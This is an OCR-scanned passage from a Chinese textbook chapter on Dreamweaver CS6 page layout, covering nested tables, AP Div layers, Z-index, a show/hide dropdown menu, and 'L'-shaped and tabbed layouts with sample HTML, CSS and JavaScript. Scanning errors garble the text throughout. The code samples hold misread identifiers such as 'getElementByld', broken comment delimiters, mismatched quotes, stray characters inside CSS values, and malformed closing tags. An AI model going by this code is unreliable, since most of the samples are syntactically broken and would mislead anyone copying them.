<tr> 
<td height="112">&nbsp;</td> 
<td>&nbsp;</td> 
<td>&nbsp;</td> 
<td>&nbsp;</td> </ltr> 
</table></td> 
<td> <!- 第 4 个 单元 格 中 嵌 套 的 表格 -> 
<table width="100%" border="1" cellspacing="0" bordercolor="#000000"> 
<tr> 
<td height="33">&nbsp;</td> </tr> 
<tr> 


<td height="80">&nbsp;</td> </tr> 
</table></td> </tr> 
</table> 
</body> 
</html> 


在 HIML 代码 中 ， 表 格 嵌 套 就 是 在 一 个 <td> 单 元 格 中 再 次 插入 一 个 完整 的 <table> 表 格 标签 。 
表格 肉 套 实现 网 页 布局 时 ,表格 的 边框 常常 是 0， 这 样 就 看 不 到 表格 的 边框 ， 以 达到 布局 的 目的 。 用 表 
格 嵌 套 的 方法 实现 了 网 页 的 布局 以 后 ， 在 单元 格 中 插入 文本 、 图 片 、 多 媒体 等 内 容 ， 不 同 单元 格 中 的 


内 容 互 不 影响 。 


12.2 使 用 层 布局 页 面 


另 一 种 网 页 布局 的 方法 是 使 用 层 。 层 与 <div> 标 签 类 似 ， 但 与 <div> 标 签 不 同 的 是 层 可 以 浮动 在 其 
他 网 页 对 象 的 上 面 ， 可 以 自由 拖 动 层 的 位 置 。 与 其 他 网 页 元 素 不 同 的 是 ， 层 具有 绝对 定位 的 功能 ， 设 
置 层 的 位 置 以 后 ， 这 个 层 可 以 浮动 在 其 他 层 的 上 面 ， 不 受 其 他 层 的 约束 。 上 面 的 层 会 遮挡 下 面 元 素 的 


内 容 。 利 用 层 的 这 一 特点 ， 可 以 用 层 来 实现 网 页 的 布局 。 
12.2.1 创建 层 


在 Dreamweaver CS6 的 设计 视图 中 ， 单 击 需 要 插入 层 的 位 置 ， 再 选择 “插入 ”| “布局 对 象 ”| 


AP Div 命令 ， 即 可 插入 一 个 层 。 新 插入 的 层 ， 默 认 在 网 页 的 左上 角 ， 没 有 边框 与 背景 。 可 以 在 一 个 网 


页 中 插入 多 个 层 ， 实 现 网 页 的 布局 。 网 页 中 插入 的 层 如 图 12-7 所 示 。 
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图 12-7 网 页 中 的 层 


12.2.2 设置 层 的 属性 


网 页 中 的 层 可 以 独立 地 设置 层 的 背景 颜色 、 内 容 、 层 次 等 属性 ， 通 过 对 层 的 设置 可 以 实现 很 多 网 
页 效果 。 
单 击 一 个 层 的 边框 ， 即 可 选择 一 个 层 ， 然 后 可 以 在 层 的 “属性 ”面板 中 对 层 的 属性 进行 设置 。 如 
图 12-8 所 示 为 层 的 “属性 ”面板 ， 可 以 设置 层 的 背景 颜色 、 背 景 图像 、 大 小 、 边 距 、 可 见 性 等 属性 。 
[Em 
EE 
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图 12-8 层 的 属性 设置 


12.2.3 ”设置 层 的 Z 轴 


对 层 的 属性 设置 时 ， 除 了 对 层 的 位 置 、 大 小 、 背 景 进行 设置 ， 另 一 个 重要 设置 是 Z 轴 。 层 的 Z 轴 
指 的 是 层 的 上 下 关系 ， 上 面 的 层 可 以 遮盖 住 下 面 层 的 内 容 。 层 的 Z 轴 数 字 较 大 就 会 在 网 页 的 最 上 层 ， 
在 层 的 “属性 ”面板 “Z 轴 ” 文 本 框 中 输入 一 个 数字 ， 即 可 设置 层 的 Z 轴 属 性 。 如 图 12-9 和 图 12-10 
就 是 网 页 中 两 个 层 不 同 Z 轴 设 置 的 遮盖 效果 。 
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图 12-9 层 中 的 乙 轴 与 遮盖 (一) 图 12-10 ” 层 中 的 Z 轴 与 遮盖 (二) 
12.2.4” 层 的 样式 


层 的 属性 设置 ， 是 利用 单一 对 象 的 CSS 样式 来 实现 的 。 每 插入 一 个 层 ， 就 会 在 样式 表 中 新 建 一 个 
针对 这 个 层 的 样式 ， 如 图 12-11 所 示 是 “CSS 样式 ”面板 中 层 的 样式 。 

双击 “CSS 样式 ”面板 中 一 个 层 的 样式 ， 即 可 对 这 个 层 的 样式 进行 设置 。 在 样式 表 中 可 以 实现 很 
多 在 “属性 ”面板 中 无 法 实现 的 设置 。 如 图 12-12 所 示 的 样式 设置 ， 就 是 对 层 的 边框 属性 进行 设置 ， 
可 以 对 边框 不 同 边 的 颜色 、 粗 细 、 线 型 进行 设置 。 
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图 12-11 样式 表 中 层 的 样式 图 12-12 层 的 属性 设置 


层 进 行 属性 设置 后 ， 即 可 在 层 中 输入 内 容 ， 层 中 可 以 插入 表格 、 文 本 、 图 片 等 内 容 ， 层 中 的 内 容 
可 以 独立 于 网 页 的 其 他 内 容 进 行 排版 。 


12.2.5 ”利用 层 实现 网 页 的 布局 


分 别 对 多 个 层 进行 属性 设置 ， 青 正确 放置 层 的 位 置 ， 即 可 在 层 中 输入 内 容 ， 实 现 网 页 布局 的 排版 。 
如 图 12-13 所 示 是 经 过 了 属性 设置 的 3 个 层 实 现 的 网 页 布局 设计 。 在 层 实 现 的 网 页 布局 中 ， 可 以 方便 
地 实现 网 页 布局 的 调整 。 
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图 12-13 层 实现 网 页 布局 
12.2.6 ” 层 中 的 样式 代码 


在 进行 这 些 层 的 设置 时 ， 实 际 上 是 Dreamweaver CS6 自动 生成 CSS 样式 脚本 ， 针 对 单一 层 对 象 进 
行 设置 。 下 面 是 本 例 中 网 页 层 布局 的 HTML 代码 。 


<head> 
<title> 层 布局 </title> 
<style type="text/css"> 
I#apDiv1 { ”分 别 对 不 同 的 层 进行 样式 设置 */ 
position:absolute; 
width:200px; 让 层 的 宽度 */ 
height:115px; 让 层 的 高 度 */ 
z-index:1; 让 设置 Z 轴 */ 
background-color: #CCCCFF; 
left: 63px; 
top: 19px; 
border 2px dotted #006699;} A* 层 的 边框 */ 
#apDiv2 { ”对 第 二 个 层 进行 样式 设置 */ 
position:absolute; 
‘Width:200px; 
height:115px; 
z-index:2; 
left: 337px; 
top: 30px; 
background-color #FFCCFF:; 
border medium groove #996600;} 


#apDiv3 { /对 第 3 个 层 进行 设置 */ 
position:absolute; 
‘Width:200px; 
height:115px:; 
z-index:3; /全 轴 表 示 层 的 层次 关系 */ 
left: 184px; 
top: 164px; 
background-color: #FFFF99; 
border-top-width: thin; 族 上 边框 的 线 宽 */ 
border-right-width: thin; 右边 框 的 线 宽 */ 
border-bottom-width: thin; 放下 边框 的 线 宽 */ 
border-left-width: thin; * 左 边框 的 线 宽 */ 
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border-top-style: solid; 上 边框 的 线 型 */ 
border-right-style: groove; /右边 框 的 线 型 
border-bottom-style: ridge; 
border-left-style: dotted; 
border-top-color: #000000; 六 上 边框 的 颜色 六 
border-right-color #0000FF; 右边 框 的 颜色 */ 
border-bottom-color 证 F0000; 让 下 边框 的 颜色 */ 
border-left-color: #333300;}--> 

</style> 

</head> 

<body> 
<div id="apDiv1"> 层 1</div> 
<div id="apDiv2"> 层 2</div> 
<div id="apDiv3"> 层 3</div> 

</lbody> 

</html> 


12.2.7 ”使 用 层 制作 下 拉 菜 单 


下 拉 菜 单 的 主要 特征 是 两 个 鼠标 事件 。 当 鼠标 移动 到 某 一 个 对 象 上 时 ， 显 示 菜单 ;， 当 鼠标 移出 这 
一 对 象 时 ， 菜 单 隐藏 。 

使 用 层 可 以 在 网 页 中 制作 下 拉 菜 单 。 对 一 个 对 象 进行 设置 ， 当 鼠标 移动 到 这 一 对 象 上 时 ， 显 示 菜 
单 层 ， 当 鼠标 移出 时 ， 隐 藏 菜单 层 。 在 用 层 制作 网 页 菜单 时 ， 可 以 利用 这 一 思路 来 实现 。 

(1) 如 图 12-14 所 示 , 在 Dreamweaver 中 新 建 一 个 网 页 , 在 网 页 中 加 入 图 中 布局 的 链接 与 层 菜单 。 
然后 需要 设置 两 个 层 的 属性 ， 并 且 设 置 这 两 个 层 隐 藏 。 

(2) 需要 设置 鼠标 事件 。 当 有 两 个 菜单 时 ， 需 要 有 如 下 的 鼠标 事件 : 

回 ” 当 鼠标 移动 到 第 一 个 链接 上 时 ， 显 示 第 一 个 层 隐 藏 第 二 个 层 。 

回 ” 当 鼠标 移动 到 第 二 个 链接 上 时 ， 显 示 第 二 个 层 隐 藏 第 一 个 层 。 

回 ” 当 鼠标 在 这 个 层 上 单 击 时 ， 隐 藏 所 单 击 的 层 。 

(3) 选择 需要 设置 事件 的 对 象 ， 选 择 “标签 检查 器 ”选项 卡 ， 单 击 “ 行 为 ”标签 ， 如 图 12-15 所 
示 。 在 “行为 ”标签 中 单 击 “ 添 加 行为 ”按钮 去， 在 显示 的 菜单 中 单 击 “ 显 示 - 隐 藏 元 素 ”， 弹 出 “ 显 
示 - 隐 藏 元 素 ”对 话 框 。 


图 12-14 用 层 制作 网 页 菜单 图 12-15 用 行为 设置 菜单 的 事件 
(4) 在 “显示 -隐藏 元 素 ” 对 话 框 中 ， 需 要 进行 对 象 和 显示 隐藏 的 设置 ， 如 图 12-16 所 示 。 
(5) 用 与 前 面相 同 的 方法 ， 对 两 个 链接 与 两 个 层 进行 各 自 的 行为 设置 ， 这 样 就 完成 了 一 个 菜单 
的 制作 。 可 以 在 层 中 插入 图 片 、 链 接 、 文 本 等 内 容 实 现 更 多 的 菜单 功能 ， 如 图 12-17 所 示 是 用 层 制 作 
的 菜单 效果 。 


@ 
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EECEE .lolx 
文件 如 帝 缉 到) 查看 WW ” 喜 


拉 制 面板 ”会 员 中 心 
的 
溪 改 信息 


I 广 Fa 
图 12-16 设置 对 象 的 事件 图 12-17 网 页 中 的 菜单 效果 
(6) 网 页 中 的 菜单 功能 ， 实 际 上 就 是 用 JavaScript 对 网 页 中 对 象 与 事件 的 设置 。 两 个 链接 的 事件 


分 别 对 两 个 层 的 隐藏 与 显示 属性 进行 设置 ， 这 就 是 菜单 。 下 面 是 这 个 菜单 的 代码 。 
<head> ”<title> 菜 单 </title> 
<style type="text/css"> 
<|-- 


#apDiv1 { 


position:absolute; ”设置 层 的 样式 */ 
width:78px; 

height:119px; 

Z-index:1; 

left: 6px; 

top: 38px; 

border: medium dotted #000000; 

background-color: #CCCCFF:; 

visibility: hidden; 


} 
#apDiv2 { 


} 


position:absolute; 
width:102px; 

height:115px; 

z-index:2; 

left: 99px; 

top: 41px; 

border thin dotted #000000; 
background-color: #FFCCFF:; 
visibility: hidden; 


一 > 

</style> 

<script type="text/javascript"> 
< 上 - 


function MM_showHideLayers(){/v9.0 


varip,vobj,args=MM_showHideLayers arguments; /定义 属性 事件 

for (i=0; i<(args.length-2); i+=3) 

with (document) if (getElementByld && ((obj=getElementByld(args[i]))!=null)) { v=args[i+2]; 
if (obj.style) { obj=obj.style; v=(v=="show )?'visible':(v=='"hide')?'hidden':v; } 
objvisibility=v: } 


HW/-> 
</script></head> 
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<body > 
<a onmouseover="MM_showHideLayers('apDiv1',",'show','apDiv2',",'hide')" > 控制 面板 </a>&nbsp;&nbsp;&nbsp; 
&nbsp;&nbsp; <!- 链 接 的 鼠标 事件 一 > 


<a onmouseover="MM_showHideLayers('apDiv1',",hide'apDiv2,",show)"> 会 员 中 心 </a> 
<div id="apDiv1" onclick="MM_showHideLayers(apDiv1T ,hide) "> 
<p> 更 改口 令 </p> <!- 层 中 的 内 容 --> 
<p> 更 改 信息 </p> 
<p> 会 员 中 心 </p> 
</div> 
<div id="apDiv2" onclick="MM_showHideLayers(apDiv2，,hide')> 
<p> 注 册 会 员 </p> 
<p> 会 员 短信 </p> 
<p> 会 员 论坛 </p> 
</div> 
</body> 
</html> 


12.3 实例 : 表格 与 层 布局 页 面 


网 页 布局 的 主要 内 容 与 技巧 就 是 把 网 页 的 版 面 分 割 成 不 同 的 区 域 , 然后 在 区 域 中 输入 不 同 的 内 容 。 
可 以 实现 网 页 布局 的 方法 有 很 多 ， 表 格 与 层 的 嵌 套 是 网 页 布局 的 最 常用 方法 ， 灵 活 地 使 用 表格 与 层 ， 
可 以 实现 网 页 的 布局 与 排版 。 


12.3.1 实例 一 一 “ 厂 ” 字 型 布局 


网 页 的 布局 有 很 多 种 ，“ 厂 ” 字 型 布局 是 一 种 很 常见 的 网 页 布局 形式 。“ 厂 ” 字 型 就 是 网 页 的 上 
部 有 贯通 的 导航 条 ， 左 边 有 竖 排 的 导航 内 容 ， 右 边 是 网 页 的 主要 内 容 。 

“ 厂 ” 字 型 容易 布局 内 容 , 用 户 使 用 非常 方便 , 是 一 种 很 常用 、 高 效 的 网 页 布局 形式 。 下 面 是 “三 ” 
字 型 网 页 布局 的 实现 步骤 。 

(1) 在 Dreamweaver 中 新 建 一 个 网 页 ， 设 置 网 页 的 相关 属性 与 主要 样式 。 在 “网 页 属性 ”对 话 杠 
中 设置 网 页 上 边 距 为 2， 如 图 12-18 所 示 。 


外 观 Css) 
页 面 字体 @): 黑 认 字体 
大 小 5): 14 
文本 颜色 0): 加 | 2000000 
背景 颜色 DB): 站 BFTTF 
背景 图 像 [I) 
重 夏 EF) - 


二 ibm: 5 
上 边 距 0): 2 CE 


[于 助 00 ] 


12-18 设置 布局 网 页 的 属性 
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(2) 在 网 页 中 插入 一 个 1 行 2 列 的 表格 ， 宽 度 为 776， 高 度 为 80， 用 来 布局 Logo 与 Banner。 表 
格 居中 对 齐 ， 如 图 12-19 所 示 。 


12-19 ”插入 表格 设置 Logo 和 Banner 区 域 


(3) 在 第 一 个 表格 的 下 面 插入 一 个 1 行 9 列 的 表格 ， 宽 度 为 776， 居 中 对 齐 ， 作 为 导航 条 ， 在 导 
A I ls 加 图 1220 所 全 


图 12-20 插入 表格 制作 导航 条 


(4) 插入 一 个 宽 776、 高 350 的 1 行 2 列 的 表格 ， 左 边 单元 格 宽度 为 180， 两 边 单元 格 的 垂直 方 
向 顶端 对 齐 ， 如 图 12-21 所 示 。 

(5) 在 这 个 表格 的 左边 单元 格 中 插入 一 个 10 行 1 列 的 表格 ， 宽 度 为 100， 用 作 左 边 链接 栏 ， 在 这 
个 表格 中 输入 链接 ， 如 图 12-22 所 示 。 


DTT | 


图 12-21 插入 表格 设置 布局 区 域 图 12-22 插入 表格 设置 网 页 中 的 链接 
(6) 在 最 下 面 输入 一 个 宽 776、 高 40 的 表格 ， 作 为 网 站 版 权 信息 栏 ， 如 图 12-23 所 示 。 


ET 


12-23 ”插入 表格 设置 网 页 中 的 版 权 栏 


as mw aA 


(7) 对 这 些 表格 进行 设置 以 后 ， 就 完成 了 网 页 的 “ 厂 ” 字 型 布局 。 对 这 些 表格 设置 时 ， 需 要 注意 
表格 的 背景 颜色 与 边框 颜色 ， 使 不 同 的 表格 看 上 去 可 以 成 为 一 个 整体 。 如 图 12-24 所 示 是 上 面 设计 的 


“ 厂 ” 字 型 网 页 效果 。 


网站 起 权 信 息 ”联系 万 式 


财 计 和 | 全 六 用 式 条 


图 12-24 “ 厂 ” 字 型 网 页 布局 


(8) 对 这 个 “ 厂 ” 字 型 网 页 布局 时 ， 主 要 是 用 表格 嵌 套 实现 网 页 的 布局 。Logo 表格 、 导 航 条 以 
及 页 面 内 容 需 要 在 不 同 的 表格 中 ， 这 样 在 对 表格 进行 设置 时 不 会 影响 其 他 表格 。 下 面 是 这 个 布局 网 页 


的 代码 。 


<head> 
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> 
<title> 网 页 厂 字 布 局 </title> 
<style type="text/css"> 
<|- 这 里 是 网 页 的 样式 表 ， 设 置 网 页 的 样式 */ 
body,td,th { 
font-size: 14px; 
color: #000000;} 
body{ /*<body> 的 样式 */ 
background-color: #E8FFFF:; 
margin-left: Opx; 
margin-top: 2px; 
margin-right: Opx:; 
margin-bottom: 0px:} 
arlink{ 让 链接 的 样式 */ 
color: #000033; 
text-decoration: none;} 
arvisited { /已 访问 链接 的 样式 */ 
text-decoration: none;} 
ahover{ 
text-decoration: none;} 
aactive{ 
text-decoration: none;} 
> 


@ 
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</style> 
</head> 
<body> 
<table width="776" border="1" align="center" cellspacing="0" bordercolor="#000099"> 
<tr> 
<td width="198" height="80" bordercolor="#999999">Logo</td> 
<td width="568" bordercolor="#999999">Banner</td> 


</tr> 
</table> <!~-<table> 用 来 实现 Logo 和 Banner 的 布局 --> 
<table width="776" border="1" align="center" cellpadding="0" cellspacing="2" bordercolor="#333333" bgcolor 
="#dddddd"> 

<tr> 


<td> 首 页 链接 </td> ”<td> 导 航 链接 2</td> ”<td> 导 航 链接 3</td> ”<td> 导 航 链接 4</td> 
<td> 导 航 链接 5</td> ”<td> 导航 链 接 6</td> ”<td> 导 航 链接 7</td> ”<td> 导 航 链接 8</td> 
<td> 导 航 链接 9</td> </tr> 


</table> <!-<table> 用 来 实现 导航 条 一 > 
<table width="776" border="1" align="center" cellpadding="0" cellspacing="0" bordercolor="#000000" bgcolor 
="#dddddd"> 

<tr> 


<td width="119" height="300" valign="top" bordercolor="#DEDFDE"> 
<table width="100%" height="290" border="1" align="|left" cellspacing="2" bordercolor="#333333"> 


<tr> <td> 内 容 链接 1</td> </tr> <!- 表 格 的 嵌 套 实现 网 页 布局 --> 
<tr> <td> 内 容 链 接 1</td> </tr> 
<tr> <td> 内 容 链 接 1</td> </tr> 
<tr> <td> 内 容 链接 1</td> </tr> 
<tr> <td> 内 容 链接 1</td> </tr> 
<tr> <td> 内 容 链接 1</td> </tr> 
<tr> <td> 内 容 链 接 1</td> </tr> 
<tr> <td> 内 容 链接 1</td> </tr> 
<tr> <td> 内 容 链接 1</td> </tr> 
<tr> <td> 内 容 链接 1</td> </tr> 
</table></td> <I!-<table> 用 来 实现 链接 的 布局 -> 
<td width="657" bordercolor="#FFFFFF" bgcolor="#FFFFFF"> 网 站 的 首页 </td> 
</tr> 

</table> 

<table width="776" border="1" align="center" cellpadding="0" cellspacing="0" bordercolor="#333333" bgcolor 

="#FFFFFF"> 

<tr> <!- 不 同 的 内 容 放 置 在 不 同 表格 中 ， 使 表格 属性 互 不 影响 --> 

<td height="40"><div align="center"> 网 站 版 权 信 息 ”联系 方式 </div></td> </tr> 

</table> 

</body> 

</html> 


网 页 布局 的 形式 还 有 很 多 种 。 在 实际 操作 时 ， 常 使 用 表格 嵌 套 来 对 网 页 的 区 域 进行 分 割 。 在 插入 
与 设置 表格 时 ， 需 要 注意 不 同 表格 的 颜色 合理 搭配 。 


12.3.2 ”实例 一 -DIV+ 层 布局 (Web 2.0) 


在 Web 2.0 中 ， 可 能 需要 一 些 具 有 复杂 功能 的 网 页 布局 ， 这 样 的 网 页 布局 单纯 使 用 HTML 或 CSS 
样式 是 无 法 实现 的 。 
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JavaScript 的 面向 网 页 对 象 进行 编程 的 思想 为 网 页 的 布局 提供 了 更 广阔 的 舞台 , 可 以 利用 JavaScript 
设计 出 具有 更 强大 交互 功能 的 网 页 布局 。 

有 很 多 Web 2.0 网 站 使 用 标签 式 网 页 布局 技术 ， 当 鼠标 移动 到 某 个 链接 上 时 ， 会 自动 更 换 一 个 标 
签 区 域 。 这 样 可 以 实现 更 高 的 网 页 效率 ， 方 便 用 户 的 访问 。 

标签 式 布局 实际 上 就 是 综合 运用 表格 、 层 和 链接 ， 当 鼠标 移动 到 链接 上 时 ， 自 动 显示 或 隐藏 相关 
的 层 ， 自 动 更 改 标签 的 颜色 。 本 例 将 讲述 标签 式 布局 的 制作 。 

(1) 在 Dreamweaver 中 新 建 一 个 网 页 ， 设 置 好 网 页 的 各 项 属性 。 

(2) 在 网 页 中 插入 一 个 2 行 4 列 的 表格 ， 宽 度 为 400、 高 度 为 300。 将 第 二 行 的 4 个 单元 格 合并 ， 
第 二 行 高 度 为 230。 合 理 设置 各 个 单元 格 的 背景 颜色 ， 如 图 12-25 所 示 。 

(3) 在 第 一 行 4 个 单元 格 中 插入 4 个 链接 ， 用 来 激发 事件 。 

(4) 在 下 面 单元 格 中 插入 4 个 层 ， 大 小 与 单元 格 大 小 相同 ， 位 置 在 单元 格 之 内 ， 层 的 可 见 性 设 为 
隐藏 。 在 4 个 层 中 分 别 输入 不 同 的 内 容 。 

(5) 分 别 在 4 个 单元 格 中 插入 鼠标 事件 。 当 鼠标 经 过 单元 格 时 ， 这 个 单元 格 显示 不 同 的 背景 颜 
色 ， 其 他 3 个 单元 格 还 原 为 原来 的 背景 颜色 。 

(6) 分 别 在 4 个 链接 上 插入 鼠标 事件 。 鼠 标 经 过 时 ， 显 示 其 要 控制 的 层 ， 隐 藏 其 他 的 层 。 经 过 这 
些 设置 ， 即 可 在 网 页 上 用 层 与 链接 来 实现 标签 式 网 页 的 布局 。 网 页 的 运行 效果 如 图 12-26 所 示 。 当 鼠 
标 指 向 不 同 的 标签 时 ， 网 页 会 显示 不 同 的 内 容 。 
ee evworwitenst -5 [x |S 


实 收 BW | 镍 dvS 呈 但- 目 - 局 


标签 
He 容 标签 4 


图 12-25 ”网 页 中 的 表格 图 12-26 在 网 页 中 用 层 实现 标签 式 布局 
在 这 种 布局 中 ， 除 了 正确 插入 和 设置 层 以 外 ， 重 要 的 是 正确 地 设置 各 种 鼠标 事件 。 这 种 页 面 的 交 
互 是 通过 鼠标 事件 来 实现 的 。 在 实现 这 些 功 能 时 , 可 以 借助 于 Dreamweaver 中 自动 生成 JavaScript 事件 
的 功能 ， 有 时 也 需要 自己 编写 相关 的 JavaScript 代码 。 下 面 是 这 个 网 页 的 代码 。 


<html> 
<head> 
<meta http-equiv="Content-Type" content="text/html; charset=gb2312"> 
<title>div 与 层 </title> 
<script language="JavaScript" type="text/JavaScript"> 
< // 这 是 自动 生成 的 网 页 事件 
function MM_reloadPagel(init) { /reloads the window if Nav4 resized 
if (init==true) with (navigator) {if ((appName=="| ")&&(parselnt(appVersion)==4)){ 


document.MM_pgW=innerWidth; document.MM_pgH=innerHeight; onresize=MM_reloadPage; }} 


@ 
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else if (innerWidth!=document.MM_pgW || innerHeight!=document.MM_pgH) location.reload();} 
MM _reloadPagel(true); 
function MM_showHideLayers() {//v9.0 
Var i,p,v,obj,args=MM_showHideLayers.arguments; 
for (i=0; i<(args.length-2); i+=3) 
with (document) if (getElementByld && ((obj=getElementByld(args[i]))!=nulIl)) { v=args[i+2]; 
if (obj.style) { obj=obj.style; v=(v=="show')?'visible":(v=="'hide')?'hidden':v; } 
obj.visibility=v; }} 
/1/--></script> 
<style type="text/css"> 
< /这 是 自动 生成 的 网 页 样式 人 
alink{ 
color: #000066; 
text-decoration: none;} 
a:visited { 
color: #000000; 
text-decoration: none;} 
a:hover { 
text-decoration: none;} 
aactive{ 
text-decoration: none;} 


一 > 

</style></head> 

<body> 

<table width="400" border="1" align="center" cellpadding="0" cellspacing: 
<tr bgcolor="#CC99FF"> 


<td id="td1" 

onmouseover= "this.style.backgroundColor=#EBEEF6':td2.style.backgroundColor= ;td3.style.background 
Color=":td4.style.backgroundColor=":"> <!-- 需 要 正确 处 理 单元 格 的 背景 问题 --> 

<a href="#" 

onMouseOver="MM_showHideLayers('Layer1'",",'show','Layer2',",'hide','Layer3',",'hide','Layer4',",'hide'")"> 标 
签 1</a></td> <!-- 需 要 正确 处 理 链接 对 层 的 事件 控制 -> 

<td id="td2" 


onmouseover="this.style.backgroundColor=#EBEEF6';td1.style.backgroundColor=",td3.style.background 
Color=";td4 .style.backgroundColor=";"><a href="#" <|- 每 一 个 链接 在 单 击 时 ， 需 要 控制 层 的 属性 --> 
onMouseOver="MM_showHideLayers('Layer1',",'hide','Layer2',",'show','Layer3',",'hide','Layer4',",'hide')"> 
标签 2</a></td> 
<td id="td3" 
onmouseover="this.style.backgroundColor=#EBEEF6';td1.style.backgroundColor=",td2.style.background 
Color=";td4.style.backgroundColor=";"><a href="#" 
onMouseOver="MM_showHideLayers('Layer1',",'hide','Layer2',",'hide','Layer3',",'show,'Layer4',",'hide’)"> 
标签 3</a></td> 
<td id="td4" 
onmouseover="this.style.backgroundColor=#EBEEF6';td1.style.backgroundColor=",td2.style.background 
Color=",td3.style.backgroundColor=","> 
<a href="#" 
onMouseOver="MM_showHideLayers('Layer1',",'hide','Layer2',",'hide','Layer3',",'hide','Layer4',",'show')"> 
标签 4</a></td> </tr> 
<tr> 
<td height="150" colspan="4" bordercolor="#EFEFF7" bgcolor="#EBEEF6"><div id="Layer1" 
style="position:absolute; width:394px; height:146px; z-index:1; top: 33px; visibility: hidden;"> 
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<p> 层 1</p> ”<p> 层 1 的 内 容 </p></div> <!- 需 要 正确 设置 层 的 大 小 与 位 置 --> 
<div id="Layer2” style="position:absolute; width:395px; height:143px; z-index:2; top: 32px; visibility: 
hidden;"> 


<p> 层 2 </p> <p> 层 2 的 内 容 </p></div> 
<div id="Layer3" style="position:absolute; width:393px; height:140px; z-index:2; le 化 192px; top: 34px; 
Visibility: hidden;"> 
<p> 层 3</p> <p> 层 3 的 内 容 </p></div> 
<div id="Layer4" style="position:absolute; width:389px; height:141px; z-index:2; left: 194px; top: 34px; 
visibility: hidden;"> <p> 层 4 的 内 容 </p> <p><img src="1.jpg" width="125" height="100"></p></div> 
</td> 
</tr> 
</table> 
</body> 
</html> 
在 这 种 标签 式 的 布局 中 ， 选 择 后 的 标签 背景 颜色 需要 与 被 控制 层 的 背景 一 致 ， 选 择 与 未 选择 的 标 


签 要 有 明显 的 区 别 ， 这 样 就 可 以 很 好 地 为 标签 选择 效果 。 
12.4 常见 问题 


在 网 页 布局 时 ， 需 要 注意 网 站 中 不 同 网 页 布局 风格 的 一 致 性 。 在 布局 时 ， 需 要 灵活 使 用 表格 、 层 
JavaScript 等 方法 。CSS 样式 表 的 使 用 可 以 实现 美观 的 布局 效果 。 


12.4.1 网 页 的 基本 布局 风格 问题 


在 对 网 页 进行 布局 之 前 ， 需 要 考虑 网 页 的 基本 布局 ， 网 页 基本 布局 就 是 网 页 的 基本 排版 风格 ， 例 
如 “ 厂 ” 字 型 布局 就 是 一 种 很 常用 的 网 页 布局 。 

网 页 的 基本 布局 需要 从 网 页 的 美术 风格 与 用 户 的 使 用 两 个 方面 考虑 。 
回 网 页 的 布局 需要 与 网 页 的 主体 风格 相 一 致 ， 与 网 站 设计 的 内 容 相 谐 调 。 
回 网 页 的 布局 需要 考虑 到 用 户 使 用 的 方便 性 ， 网 页 中 可 以 包含 网 页 中 需要 的 内 容 ， 用 户 可 以 很 
方便 地 找到 自己 所 需要 的 内 容 。 

例如 ，“ 厂 ” 字 型 布局 ， 把 导航 条 与 主要 内 容 放 置 在 网 页 上 边 和 左边 的 链接 处 ， 并 显示 出 不 同 的 
颜色 。 这 样 ， 用 户 就 可 以 一 目 了 然 地 找到 网 页 主要 的 内 容 ， 并 方便 地 找到 自己 所 需要 的 内 容 。 

如 果 网 页 的 布局 与 风格 不 一 致 或 者 不 利于 用 户 的 访问 ， 则 这 个 布局 就 是 不 成 功 的 。 


12.4.2 ”在 表格 布局 时 表格 边框 颜色 、 背 景 颜 色 的 搭配 问题 


在 使 用 表格 进行 布局 时 ， 表 格 、 单 元 格 的 边框 颜色 、 背 景 颜 色 的 合理 搭配 ， 可 以 实现 多 种 美观 的 
页 面 效 果 。 这 些 效果 可 以 在 表格 的 “属性 ”面板 中 进行 属性 设置 来 实现 ， 也 可 以 使 用 样式 进行 实现 。 
可 以 用 以 下 方法 来 实现 表格 的 布局 效果 。 

回 ”利用 表格 嵌 套 对 网 页 进行 布局 时 ， 需 要 注意 不 同 表格 的 颜色 。 

回 ”不同 表格 在 嵌 套 时 ， 表 格 的 边框 可 能 会 重 琶 ， 会 影响 表格 边框 的 效果 。 多 次 表格 嵌 套 时 ， 会 
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有 很 多 边框 重 县 在 一 起 ， 会 影响 表格 的 布局 。 用 以 下 方法 可 以 处 理 这 一 问题 : 

> 可 以 设置 表格 的 边框 为 0， 这 样 就 看 不 到 边框 了 。 

> 可 以 设置 表格 的 边框 与 背景 色相 同 ， 这 样 可 以 隐藏 表格 的 边框 。 

> 分别 设置 表格 边框 与 单元 格 的 颜色 ， 让 表格 的 边框 与 网 页 相同 或 与 表格 背景 相同 ， 让 单 
元 格 边框 与 表格 背景 相同 或 与 单元 格 背 景 颜色 相同 ， 这 样 可 以 巧妙 地 解决 表格 边框 的 效 
果 问 题 。 

> 可 以 用 CSS 样式 表 ， 分 别 设置 表格 边框 不 同方 向 的 边框 样式 。 

如 图 12-27 所 示 是 在 Dreamweaver 的 样式 管理 器 中 设置 表格 的 样式 ， 可 以 对 表格 边框 不 同 边 的 线 
型 、 颜 色 、 粗 细 进 行 不 同 的 设置 。 
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图 12-27 在 CSS 标签 中 设置 表格 边框 的 样式 12-28 用 CSS 来 控制 表格 的 样式 与 边框 


在 这 个 例子 中 ， 主 要 是 用 Dreamweaver 的 样式 管理 器 自动 设置 与 生成 表格 的 样式 代码 。 下 面 是 这 
个 网 页 效果 的 代码 。 


<head> 

<meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> 

<title> 表 格 样式 </title> 

<style type="text/css"> 

<|- 

.aaf{ 
Color: #0033FF; 
border-top-width: medium; 在 样式 中 ， 对 表格 不 同 边 的 边框 进行 不 同 的 设置 */ 
border-right-width: medium; 
border-bottom-width: medium; 
border-left-width: thin; 
border-top-style: dotted; 
border-right-style: solid; 
border-bottom-style: double; 
border-left-style: outset; 
border-top-color: #000000; 
border-right-color: #666666; 
border-bottom-color: #0000CC:; 
border-left-color: #330033;} 

body,td,th { 
color: #000000;} —> 
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</style> 

</head> 

<body> 

<table width="314" height="107" border="2" align="center" cellpadding="2" cellspacing="3" class="aa"> 

<tr> 
<td width="296" align="center" valign="middle"> 用 样式 表 设 置 的 表格 </td> </tr></table> 

</body> 

</html> 


正确 使 用 CSS 样式 的 方法 ， 可 以 在 网 页 布局 中 对 网 页 实现 多 种 美观 的 效果 。 
12.4.3 ”在 标签 式 布局 中 对 单元 格 背 景 样式 控制 


在 标签 式 的 布局 中 ， 有 一 个 重要 步 又 就 是 实现 标签 按钮 的 背景 颜色 控制 。 标 签 链接 的 背景 颜色 随 
着 鼠标 的 移动 而 改变 ， 会 表现 出 更 好 的 标签 控制 效果 。 

这 种 根据 鼠标 移动 来 实现 单元 格 背 景 的 改变 是 用 JavaScript 编程 来 实现 的 。 例 如 下 面 的 代码 : 
